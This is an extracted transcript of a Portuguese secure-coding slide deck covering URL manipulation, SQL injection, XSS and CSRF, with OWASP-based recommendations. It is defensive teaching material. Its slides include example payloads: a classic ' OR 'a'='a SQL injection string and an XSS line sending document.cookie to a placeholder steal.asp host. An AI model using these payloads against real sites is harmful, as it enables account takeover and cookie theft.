lições praticas de código seguro - usecurity

Upload: arthur-paixao

Post on 05-Apr-2018

217 views

Category:

Documents


0 download

TRANSCRIPT

  • 7/31/2019 Lies Praticas de Cdigo Seguro - uSecurity

    1/27

    Lies Prticas de Cdigo

    Seguro

  • 7/31/2019 Lies Praticas de Cdigo Seguro - uSecurity

    2/27

    Quem sou eu?

    Arthur Paixo 5 Anos de experincia na rea de segurana da informao

    Certificaes:

    EC-CSA (EcCouncil Certified Security Analyst)

    EC-CHFI (EcCouncil Computer Hacking Forensic Investigator)

    Diversos cursos de especializao na rea:

    INTEL, Fundao Bradesco, DragonJAR, Offensive Security

    Atualmente trabalho:Security Consulting & Pentester:Equipe de Resposta a Tratamento de

    Incidentes de Segurana (CSIRT)

    Desenvolvedor: Java, Flex, PL-SQL, Oracle Forms (6i & 10g)

  • 7/31/2019 Lies Praticas de Cdigo Seguro - uSecurity

    3/27

    Agenda

    A Evoluo dos Ataques

    Application Security != Network Security

    Entendendo as tticas do inimigo O quanto segura deve ser sua aplicao?

    Custos que envolvem uma aplicao segura ?

    Porqu o PHP to vulnervel?

  • 7/31/2019 Lies Praticas de Cdigo Seguro - uSecurity

    4/27

    Agenda

    Principais Ameaas: Injees

    Cross-Site Scripting (XSS)Referncia direta objetos

    Cross-Site Request Forgery (CSRF)

    Falha na Restrio de Acesso URLs

    URL Manipulation

  • 7/31/2019 Lies Praticas de Cdigo Seguro - uSecurity

    5/27

    Agenda

    Principais Ameaas:Canal Inseguro

    Redirecionamentos No-Validados

  • 7/31/2019 Lies Praticas de Cdigo Seguro - uSecurity

    6/27

    Segurana ...?

  • 7/31/2019 Lies Praticas de Cdigo Seguro - uSecurity

    7/27

    tudo a mesma coisa?

    Application Security != Network Security

    X

  • 7/31/2019 Lies Praticas de Cdigo Seguro - uSecurity

    8/27

    Evoluo dos Ataques

    A evoluo dos ataques.

  • 7/31/2019 Lies Praticas de Cdigo Seguro - uSecurity

    9/27

    Onde identificar falhas?

    No incio, ao no identificar as necessidades desegurana

    Na criao de arquiteturas conceituais que possuam

    erros de lgica No uso de ms prticas de programao que

    introduzam vulnerabilidades tcnicas

    Na implementao do software de modo inapropriado

    Na insero de falhas durante a manuteno ou aatualizao

  • 7/31/2019 Lies Praticas de Cdigo Seguro - uSecurity

    10/27

    Onde identificar falhas?

    Vulnerabilidades de software podem ter um escopo

    muito maior do que o do prprio software.

    O software e sua informao associada

    O sistema operacional dos servidores associados

    A base de dados do backend.

    Outras aplicaes em um ambiente compartilhado

    O sistema do usurio Outros softwares com os quais o usurio interage

  • 7/31/2019 Lies Praticas de Cdigo Seguro - uSecurity

    11/27

    URL Manipulation

    O comando GET requisita informaesimportantes na URL.

    Os parmetros podem ser manipulados para se

    obter resultados satisfatrios. O impacto ALTO.

    Variaes podem ser feitas para se tentar obter

    resultados interessantes.

    http://www.vitima.com/exemplo?usuario=arthurpaixao&senha=123

  • 7/31/2019 Lies Praticas de Cdigo Seguro - uSecurity

    12/27

    Falha na Restrio de Acesso URLs

    Exposio do nvel de privilgio.

    possvel forar outros nveis(admin, manager, etc)

  • 7/31/2019 Lies Praticas de Cdigo Seguro - uSecurity

    13/27

    Falha na Restrio de Acesso URLs

    Recomendaes:Restrio de acesso em vrias

    camadas.

    Bloqueie requisies tipos no

    autorizados de arquivos(configuraes, logs, fontes, etc.)

  • 7/31/2019 Lies Praticas de Cdigo Seguro - uSecurity

    14/27

    SQL Injection

    A ideia injetar um comando SQL (Structured Query Language)ou comando como imput dos dados em umformulrio WEB.

    Todos os parmetros passados so direcionadospara o banco de dados.

    O atacante pode manipular com as tabelas e

    dados diretamente.

  • 7/31/2019 Lies Praticas de Cdigo Seguro - uSecurity

    15/27

    SQL Injection

    Client-Side: (O Truque Ninja)' OR 'a'='a

    Server-Side:SELECT id FROM usuarios

    WHERE nome = '$nome'

    AND senha = '' OR 'a'='a';

  • 7/31/2019 Lies Praticas de Cdigo Seguro - uSecurity

    16/27

    Injections em Geral

    Recomendaes:

    Tratamento de entradas

    Validao por whitelist

    Minimize os privilgios

    OWASP:

    SQL_Injection_Prevention_Cheat_Sheet

  • 7/31/2019 Lies Praticas de Cdigo Seguro - uSecurity

    17/27

    Cross-Site Scripting (XSS)

    Enviados ao browser do usurio

    Posts, URLs, javascript, etc...

    Todo Browser vulnervel:

    javascript:alert(document.cookie)

    Redirecionamento e/ou roubo de dados

  • 7/31/2019 Lies Praticas de Cdigo Seguro - uSecurity

    18/27

    Cross-Site Scripting (XSS)

  • 7/31/2019 Lies Praticas de Cdigo Seguro - uSecurity

    19/27

    Cross-Site Scripting (XSS)

    Esta vulnerabilidade tira vantagens de sitesque no fazem o tratamento dos dados deentrada.

    O POST contm um script que pode serexecutado via browser.

    window.navigate("http://site.com/steal.asp?cookie="+document.cookie)

  • 7/31/2019 Lies Praticas de Cdigo Seguro - uSecurity

    20/27

    Cross-Site Scripting (XSS)

    Ataque de XSS Persistente

    Dados enviados sem tratamento para

    usurios.

  • 7/31/2019 Lies Praticas de Cdigo Seguro - uSecurity

    21/27

    Cross-Site Scripting (XSS)

    Ataque de XSS No Persistente

    Dados enviados de volta sem tratamento eexecutado no browser da vtima.

  • 7/31/2019 Lies Praticas de Cdigo Seguro - uSecurity

    22/27

    Cross-Site Scripting (XSS)

    Ataque de XSS DOM

    Cdigo executado no browser utilizandoelementos do DOM.

    No h falha no servidor

  • 7/31/2019 Lies Praticas de Cdigo Seguro - uSecurity

    23/27

    Cross-Site Scripting (XSS)

    Recomendaes:

    Validao de entrada

    Validao de sada

    Validao de elementos do DOM

    OWASP

    XSS Prevention Cheat Sheet

  • 7/31/2019 Lies Praticas de Cdigo Seguro - uSecurity

    24/27

    Cross Site Request Forgery (CSRF)

    Browsers enviam alguns tipos decredenciais automaticamente em

    cada requisio.CookiesCabealhos

    Endereo IP

    Certificados SSL

  • 7/31/2019 Lies Praticas de Cdigo Seguro - uSecurity

    25/27

    Cross Site Request Forgery (CSRF)

    Recomendaes:

    Autenticaes forcadas em requisiessensveis.

    Controle exposio de dados utilizadoscomo credenciais.

    OWASP:

    CSRF_Prevention_Cheat_Sheet

  • 7/31/2019 Lies Praticas de Cdigo Seguro - uSecurity

    26/27

    Referncia

    www.usecurity.com.br

    www.owasp.org

    www.thehackernews.com

    www.guiadohacker.com.br/forum

    www.remote-execution.blogspot.com.br

    www.securitytube.net

    http://www.guiadohacker.com.br/forumhttp://www.owasp.org/http://www.thehackernews.com/http://www.guiadohacker.com.br/forumhttp://www.remote-execution.blogspot.com.br/http://www.securitytube.net/http://www.securitytube.net/http://www.remote-execution.blogspot.com.br/http://www.remote-execution.blogspot.com.br/http://www.remote-execution.blogspot.com.br/http://www.guiadohacker.com.br/forumhttp://www.thehackernews.com/http://www.owasp.org/http://www.guiadohacker.com.br/forumhttp://www.guiadohacker.com.br/forum
  • 7/31/2019 Lies Praticas de Cdigo Seguro - uSecurity

    27/27

    [email protected]